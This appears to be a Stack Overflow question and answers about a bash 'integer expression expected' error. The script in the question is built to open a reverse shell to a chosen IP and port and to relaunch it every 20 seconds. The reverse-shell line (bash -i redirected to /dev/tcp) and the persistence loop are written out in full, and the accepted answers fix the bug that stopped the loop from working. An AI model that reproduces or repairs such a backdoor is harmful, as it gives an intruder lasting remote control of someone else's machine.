Error "Integer Expression Expected" in Bash script

Question

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.

What am I doing wrong? My code is below.

#!/bin/bash
#A small program designed to establish and keep a reverse shell open


IP=""               #Insert your IP here
PORT=""             #Insert the Port you're listening on here. 

while(true); do
        if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
        then
                echo "Process not found, launching reverse shell to $IP on port $PORT"
                bash -i >& /dev/tcp/$IP/$PORT 0>&1
                sleep 20
        else
                echo "Process found, sleeping for 20 seconds..."
                ps -ef | grep "bash -i" | grep -v "grep" | wc -l
                sleep 20


        fi


done

Use backticks or $(...) not single quotes around a subcommand whose output should be substituted into the command. — Barmar
– Barmar, Commented Feb 13, 2018 at 5:22
You can also use the final grep or pgrep command as the condition directly: if ps -ef | grep "bash -i" | grep -vq grep; then... ( the -q option tells grep not to print anything, just exit successfully if it finds a (non)match) or if pgrep -f "bash -i" >/dev/null; then... — Gordon Davisson
– Gordon Davisson, Commented Feb 13, 2018 at 5:49

SYAM KRISHNA MG · Accepted Answer · 2018-02-13 07:32:15Z

1

There is a small change required in your code. You have to use tilt "`" instead of single quotes "''" inside if.

if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l`  -eq 0 ]

This worked for me. Hope it helps you too.

answered Feb 13, 2018 at 7:32

SYAM KRISHNA MG

9301 gold badge13 silver badges30 bronze badges

Sign up to request clarification or add additional context in comments.

2 Comments

Cristian Ramon-Cortes Over a year ago

I'll suggest using $() instead of backticks for the command substitution (here you can find a longer explanation: Why is $(...) preferred over ... (backticks)?)

SYAM KRISHNA MG Over a year ago

Above link is a great. @cristianRamon

hek2mgl · Accepted Answer · 2018-02-13 07:49:49Z

1

Besides the typo mentioned in the comments it should be:

if ! pgrep -f 'bash -i' > /dev/null ; then
    echo "process not found"
else
    echo "process found"
fi

Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.

PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

edited Feb 13, 2018 at 7:49

answered Feb 13, 2018 at 7:36

hek2mgl

159k31 gold badges263 silver badges279 bronze badges

Collectives™ on Stack Overflow

Error "Integer Expression Expected" in Bash script

2 Answers 2

2 Comments

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

2 Answers 2

2 Comments

Comments

Your Answer

Sign up or log in

Post as a guest

Related